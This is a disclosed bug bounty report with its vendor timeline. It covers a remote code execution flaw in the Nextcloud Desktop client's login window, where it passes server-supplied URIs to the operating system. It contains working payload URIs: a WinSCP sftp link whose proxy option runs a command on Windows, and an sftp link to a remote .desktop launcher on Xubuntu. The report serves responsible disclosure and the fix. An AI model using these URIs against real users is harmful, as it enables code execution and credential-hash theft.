72

Nextcloud Desktop Client RCE via malicious URI schemes

Share:

TIMELINE

7a69 submitted a report to Nextcloud. Jan 13th (2 years ago)

Nextcloud Desktop utilizes QT's `QDesktopServices::openUrl()` to open URLs. This function invokes the OS'/Desktop environment's default application to handling the URI scheme and file extension.

During the Nextcloud `Add Account` flow, the server's login website is opened within a native window/ `WebView`. A malicious server can serve a login website containing links with arbitrary URI schemes. Clicking those links immediately invokes the OS' default application to handle the URI.

This can be exploited in various ways, depending on the OS and configuration, to e.g. gain arbitrary code execution:

Exploitation on Windows

Many Windows developers and users in need of an scp/sftp/ftp/s3 client install 3rd party software, with WinSCP being the most common by far (2.1m downloads since 2020-11-20, >150m overall). Nextcloud Desktop Windows users that have WinSCP installed can be immediately exploited through the following link:

- `sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/` (not shown to the user in the connection assistant window, even on hover)

A demo video is attached.
This utilizes "advanced" connection settings that are parsed by WinSCP when opening an sftp link. By specifying the "Local" proxy mode, an arbitrary command can be set, ran immediately even before the connection is established.

Default config

Other abusable URI schemes are e.g. `file://` and `dav(s)://`. Those can leak NTLM hashes and, by referencing remote executables (.exe/.bat/.com/...) also lead to RCE on hosts that don't have WinSCP installed (with a confirmation needed to run the application).

Exploitation on Linux (Xubuntu 20.04)

On Linux, the exact opening behavior and therefore exploitation strategy is dependent on the Desktop Environment and its configuration. As an example, serving the following URL allows to run arbitrary code on Xubuntu 20.04 in its default configuration:

- `sftp://nextclouduser@<server>/example.desktop`

A demo video is attached.
By specifying a username that is configured with an empty password on the server, this remote location is auto-mounted and the .desktop file (with executable-flag set) is opened with its default application, which will execute the specified command [1].
Please note: As seen in the video, if the client has never connected via SSH to the host before, the user is asked to accept the SSH host key. However, this prompt is perfectly embedded in the login flow (showing the same Nextcloud server address and the note that "this happens when you login for the first time").

Also, please note, that depending on the system configuration, also other URI schemes and file types can be used for exploitation, e.g. `smb://` for loading remote samba shares, and `.jar` files to run Java programs.

Recommendation

Use a strict allowlist to filter all URLs before passing them to QDesktopServices::openURL().
For the login window, I think the responsible code is here. Only the "http://" and "https://" URI scheme should be allowed here.
All QDesktopServices::openURL() calls should be checked to verify that no unvalidated user/server input is be passed.

[1] .desktop file:
[Desktop Entry]
Exec=xmessage "Arbitrary RCE :)"
Type=Application

Impact

Arbitrary code execution and NTLM hash leak.

2 attachments:
F1156249: nextcloud_rce_win.mp4
F1156250: nextcloud_rce_xubuntu.mp4

BOT: posted a comment. Jan 13th (2 years ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like to ask you to not disclose this issue to any other party.

nickvergessen Nextcloud staff changed the status to ○ Triaged. Jan 14th (2 years ago)

Thanks for your report. I forwarded it internally to our desktop team.

7a69 posted a comment. Feb 1st (2 years ago)

Small update: Doing some more testing on Xubuntu, I found that you can use the "nfs://" URI scheme to gain direct code execution (without the SSH host key dialog).
Is there also an update from your side yet?

lukasreschkenc posted a comment. Feb 3rd (2 years ago)

The team is working on a patch at https://github.com/nextcloud/desktop/pull/2906

nickvergessen Nextcloud staff closed the report and changed the status to **Resolved**. Feb 9th (2 years ago)

Thanks a lot for your report again. This has been resolved in our upcoming maintenance release and we're working on the advisories at the moment.

Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
- Email address (optional)
- Website (optional)
- Company (optional)

Nextcloud rewarded 7a69 with a **$1,000** bounty. Feb 9th (2 years ago)

7a69 posted a comment. Feb 9th (2 years ago)

That's great news, thank you!

You can use the following information:

- Name: Fabian Bräunlein
- Company: Positive Security
- Website: https://positive.security

nickvergessen Nextcloud staff updated the severity from High to Medium (4.7). Feb 10th (2 years ago)

nickvergessen Nextcloud staff posted a comment. Feb 10th (2 years ago)

Pending SA: https://nextcloud.com/security/advisory/?id=NC-SA-2021-008
Pending CVE: CVE-2021-22879

Scheduled date: 4 weeks after the 3.1.3 release

7a69 posted a comment. Updated Apr 13th (2 years ago)

FYI: We've prepared a blog post on insecure URI handling that also includes this vulnerability as an example.

We're currently planning to release the post on April 13th. You can find a pre-release here: https://positive.security/blog/url-open-rce (Password: [redacted], please keep for yourself).

Please let me know if you have any comments.

lukasreschkenc posted a comment. Apr 13th (2 years ago)

Thanks for the heads-up and nice research. The blog is quite an interesting read :)

We've meanwhile pushed our advisory at https://nextcloud.com/security/advisory/?id=NC-SA-2021-008. Let us know if you wish any changes :)

lukasreschkenc requested to disclose this report. Apr 13th (2 years ago)

Requesting public disclosure. We've redacted the password from your previous comment.

7a69 agreed to disclose this report. Apr 15th (2 years ago)

This report has been disclosed. Apr 15th (2 years ago)